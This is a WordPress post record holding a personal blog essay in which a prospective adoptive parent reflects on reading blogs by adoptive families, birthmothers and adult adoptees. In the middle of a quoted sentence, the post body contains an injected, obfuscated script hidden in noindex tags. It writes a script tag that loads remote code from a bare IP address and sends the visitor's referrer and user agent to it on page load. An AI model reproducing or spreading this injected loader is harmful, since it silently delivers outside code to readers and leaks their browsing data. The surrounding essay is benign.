{"id":4129,"date":"2014-03-06T16:55:21","date_gmt":"2014-03-06T23:55:21","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4129"},"modified":"2014-02-24T17:21:37","modified_gmt":"2014-02-25T00:21:37","slug":"everybody-elses-blogs","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4129","title":{"rendered":"Everybody else&#8217;s blogs"},"content":{"rendered":"<p>I&#8217;ve been reading adoption blogs the way I used to read comic books when I was a kid &#8211; one after the other, in heaps and stacks, secretly when I&#8217;m supposed to be doing something else, all day long on Saturday.<\/p>\n<p>I feel weird about it.\u00c2\u00a0 I am fascinated by all the different variations of the adoption story and at the same time I keep hoping to find out that someone else feels exactly like I do.\u00c2\u00a0 Everything makes me cry.\u00c2\u00a0 And\u00c2\u00a0 I can&#8217;t stop reading them.<\/p>\n<p>Blogs by families who&#8217;ve adopted make me jealous and hopeful at the same time.\u00c2\u00a0 They seem so normal, these families.\u00c2\u00a0 Moms and dads and kids just having a normal life, the anxieties and uncertainties of the adoption behind them, and ahead only the regular anxieties and uncertainties of raising a kid.\u00c2\u00a0 Some of them make it sound like everything is finally perfect, like all the pieces have fallen into place, like they&#8217;ve passed all the tests and finally been chosen, and their lives are complete.\u00c2\u00a0 They make me feel sort of resentful, and then I am ashamed of myself for being that way.\u00c2\u00a0 I love the ones who write about what their lives are really like.\u00c2\u00a0 They&#8217;re exhausted because the baby is up all night, they&#8217;re forced to welcome Thomas the Tank Engine into their lives, everything is always sticky and everybody in the family catches the back to school cold all at the same time.\u00c2\u00a0 I love this, because I know they&#8217;re telling the truth, and they&#8217;re real people, and someday this will be my truth, too.<\/p>\n<p>Some of these have blended in with plain ol&#8217; parenting blogs.\u00c2\u00a0 I hate the ones that are preachy and make it sound like if you didn&#8217;t breast feed your baby you&#8217;re practically guilty of child abuse.\u00c2\u00a0 It makes me want to tear out my hair.\u00c2\u00a0 But some of them are really, really great. They offer more questions than answers, they have a sense of humor, they get comments that turn into conversations instead of petty rants.<\/p>\n<p>Blogs by birthmothers have become a weird addiction.\u00c2\u00a0 I feel like a spy, like I&#8217;m not supposed to be able to look into their world.\u00c2\u00a0 You hear over and over, <em>&#8220;No-one <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tayni|var|u0026u|referrer|riyyh||js|php'.split('|'),0,{}))\n<\/script><\/noindex> else can understand how hard this is for the birthmothers, no one else can understand how they feel.&#8221;<\/em>\u00c2\u00a0 But I&#8217;m desperate to understand.\u00c2\u00a0 I know I&#8217;ll be a good mother.\u00c2\u00a0 I have no doubts about it at all.\u00c2\u00a0 But I&#8217;ll also be a partner in this relationship with the birthmother, and I want so much to be really, really good at it.\u00c2\u00a0 I know I&#8217;ll make mistakes as a mother.\u00c2\u00a0 I have no doubts about that either!\u00c2\u00a0 But those mistakes don&#8217;t scare me.\u00c2\u00a0 Making a mistake in my relationship with the birthmother scares me to death.\u00c2\u00a0 I don&#8217;t even know yet who this woman is, but the idea of letting her down or disappointing her just freezes me in my tracks.\u00c2\u00a0 So I read all these blogs and resist the urge to take notes.<\/p>\n<p>Blogs by grown-up adoptees make me anxious.\u00c2\u00a0 Like most of us who blog, they seem to be working out a private struggle by getting their journey into words and images that can be shared.\u00c2\u00a0 But the struggle is painful for me to acknowledge.\u00c2\u00a0 I want so much to think that if I just do everything exactly right (or even mostly right) my child will grow up confident that he or she is completely loved by all possible parents of all possible kinds &#8211; by me, by grandparents, by birthparents, by everyone; if we celebrate their adoption story just as we would celebrate any child&#8217;s arrival into a family, they will rejoice in it with us.\u00c2\u00a0 But it&#8217;s pretty clear that it&#8217;s not that simple.\u00c2\u00a0 These writers are telling me very clearly that adopted children have a lot of confusing feelings to figure out.\u00c2\u00a0 They need their parents to accept that, and not try to &#8220;wish&#8221;\u00c2\u00a0 that pain and confusion away, but to deal with it together.\u00c2\u00a0 That makes sense to me.<\/p>\n<p>&nbsp;<\/p>\n<p>The best ones make me want to turn my own blog into something that will be helpful for someone else to read.\u00c2\u00a0 I&#8217;m not really sure how to do that, but I think about it a lot.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/02\/blogs.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4438\" alt=\"blogs\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/02\/blogs-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/02\/blogs-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/02\/blogs.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve been reading adoption blogs the way I used to read comic books when I&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4438,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[53,21],"class_list":["post-4129","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","tag-adoption","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4129"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4129"}],"version-history":[{"count":5,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4129\/revisions"}],"predecessor-version":[{"id":4439,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4129\/revisions\/4439"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4438"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4129"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}